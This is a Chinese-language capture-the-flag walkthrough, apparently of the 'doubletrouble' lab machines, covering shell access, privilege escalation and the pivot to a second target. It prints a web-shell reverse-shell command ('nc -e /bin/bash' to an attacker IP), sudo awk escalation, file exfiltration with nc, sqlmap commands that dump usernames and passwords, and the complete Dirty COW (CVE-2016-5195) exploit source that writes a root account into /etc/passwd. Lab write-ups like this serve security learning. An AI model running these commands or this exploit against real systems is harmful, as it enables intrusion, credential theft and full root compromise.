获取shell权限:
通过命令执行漏洞反弹shell,命令:http://192.168.4.195//uploads/users/542451-backdoor.php?cmd=nc -e /bin/bash 192.168.4.114 6688,kali端开启对6688端口的监听:nc -lvvp 6688,成功获得shell权限,然后通过:python3 -c 'import pty;pty.spawn("/bin/bash")'升级下shell 。
文章插图
提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,显示存在一个awk命令 。
文章插图
查询下awk命令的提权方式进行提权,命令:sudo awk 'BEGIN {system("/bin/sh")}',提权成功 。
文章插图
文章插图
去root目录下寻找flag未找到,但是发现了一个虚拟机:doubletrouble.ova 。
文章插图
第二个靶场下载:
这里使用nc进行文件的传输,靶机中:nc 192.168.4.114 8899 < doubletrouble.ova,kali中:nc -lvvp 8899 > doubletrouble.ova 。
文章插图
第二个靶场的信息收集:
本地使用vbox打开之后使用nmap扫描下地址和服务和扫描第一个靶机一样,发现主机ip:192.168.4.106,该主机同样开放了22和80端口、ssh和web服务 。
文章插图
文章插图
访问下web服务发现是一个登录窗口,目录扫描也未发现有用的目录文件 。
文章插图
SQL注入:
使用sqlmap测试下注入 , 看是否存在注入漏洞,命令:sqlmap -u "http://192.168.4.106/index.php" -forms,发现存在时间注入 。
文章插图
然后进行数据库的爆破,命令:sqlmap -u "http://192.168.4.106/index.php" -forms -dbs , 成功获取到数据库:doubletrouble和information_schema 。
文章插图
然后进行数据库表名的爆破,命令:sqlmap -u "http://192.168.4.106/index.php" -forms -D doubletrouble --tables,成功获得表:users 。
文章插图
然后进行表信息的爆破,命令:sqlmap -u "http://192.168.4.106/index.php" -forms -D doubletrouble -T users --dump , 成功获得两组账户名和密码:montreux/GfsZxc1、clapton/ZubZub99 。
文章插图
获取shell:
通过xshell使用账户名和密码进行尝试连接 , 发现clapton/ZubZub99连接成功获得shell权限 。
文章插图
在当前账户下发现user.txt文件 , 获取到第一个flag信息 。
文章插图
提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,显示不存在 。
文章插图
查看下具有root权限的文件,命令:find / -perm -4000 -type f 2>/dev/null,发现存在一个/usr/lib/eject/dmcrypt-get-device , 在https://www.exploit-db.com/网站查询可以可以利用的漏洞,发现存在本地提权漏洞,但是经过尝试均失败 。
文章插图
查看下系统内核版本信息 , 发现存在脏牛漏洞 , 内核版本:3.2.0-4-amd64 。
文章插图
可以在这个网站复制源码进行编译:https://github.com/FireFart/dirtycow/blob/master/dirty.c获得可利用的exp获得root权限账户,编译命令:gcc -pthread zangniu.c -o zangniu -lcrypt,执行命令:./zangniu root 。
文章插图
CVE-2016-5195脏牛漏洞利用代码
#include <fcntl.h>#include <pthread.h>#include <string.h>#include <stdio.h>#include <stdint.h>#include <sys/mman.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/wait.h>#include <sys/ptrace.h>#include <stdlib.h>#include <unistd.h>#include <crypt.h>const char *filename = "/etc/passwd";const char *backup_filename = "/tmp/passwd.bak";const char *salt = "firefart";int f;void *map;pid_t pid;pthread_t pth;struct stat st;struct Userinfo {char *username;char *hash;int user_id;int group_id;char *info;char *home_dir;char *shell;};char *generate_password_hash(char *plaintext_pw) {return crypt(plaintext_pw, salt);}char *generate_passwd_line(struct Userinfo u) {const char *format = "%s:%s:%d:%d:%s:%s:%s\n";int size = snprintf(NULL, 0, format, u.username, u.hash,u.user_id, u.group_id, u.info, u.home_dir, u.shell);char *ret = malloc(size + 1);sprintf(ret, format, u.username, u.hash, u.user_id,u.group_id, u.info, u.home_dir, u.shell);return ret;}void *madviseThread(void *arg) {int i, c = 0;for(i = 0; i < 200000000; i++) {c += madvise(map, 100, MADV_DONTNEED);}printf("madvise %d\n\n", c);}int copy_file(const char *from, const char *to) {// check if target file already existsif(access(to, F_OK) != -1) {printf("File %s already exists! Please delete it and run again\n",to);return -1;}char ch;FILE *source, *target;source = fopen(from, "r");if(source == NULL) {return -1;}target = fopen(to, "w");if(target == NULL) {fclose(source);return -1;}while((ch = fgetc(source)) != EOF) {fputc(ch, target);}printf("%s successfully backed up to %s\n",from, to);fclose(source);fclose(target);return 0;}int main(int argc, char *argv[]){// backup fileint ret = copy_file(filename, backup_filename);if (ret != 0) {exit(ret);}struct Userinfo user;// set values, change as neededuser.username = "firefart";user.user_id = 0;user.group_id = 0;user.info = "pwned";user.home_dir = "/root";user.shell = "/bin/bash";char *plaintext_pw;if (argc >= 2) {plaintext_pw = argv[1];printf("Please enter the new password: %s\n", plaintext_pw);} else {plaintext_pw = getpass("Please enter the new password: ");}user.hash = generate_password_hash(plaintext_pw);char *complete_passwd_line = generate_passwd_line(user);printf("Complete line:\n%s\n", complete_passwd_line);f = open(filename, O_RDONLY);fstat(f, &st);map = mmap(NULL,st.st_size + sizeof(long),PROT_READ,MAP_PRIVATE,f,0);printf("mmap: %lx\n",(unsigned long)map);pid = fork();if(pid) {waitpid(pid, NULL, 0);int u, i, o, c = 0;int l=strlen(complete_passwd_line);for(i = 0; i < 10000/l; i++) {for(o = 0; o < l; o++) {for(u = 0; u < 10000; u++) {c += ptrace(PTRACE_POKETEXT,pid,map + o,*((long*)(complete_passwd_line + o)));}}}printf("ptrace %d\n",c);}else {pthread_create(&pth,NULL,madviseThread,NULL);ptrace(PTRACE_TRACEME);kill(getpid(), SIGSTOP);pthread_join(pth,NULL);}printf("Done! Check %s to see if the new user was created.\n", filename);printf("You can log in with the username '%s' and the password '%s'.\n\n",user.username, plaintext_pw);printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",backup_filename, filename);return 0;}
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- JUC学习笔记——共享模型之管程
- 奥比岛:梦想国度新版本暗影之谜有什么内容
- 无期迷途浊暗之阱怎么玩
- 云原生之旅 - 10)手把手教你安装 Jenkins on Kubernetes
- 明日之后深海版本转职卡怎么获得
- Java安全之动态加载字节码
- uniapp之uni-starter小程序多端研发框架搭建与项目实践
- MySQL数据库的性能分析 ---图书《软件性能测试分析与调优实践之路》-手稿节选
- Java安全之CC6
- 支持JDK19虚拟线程的web框架之四:看源码,了解quarkus如何支持虚拟线程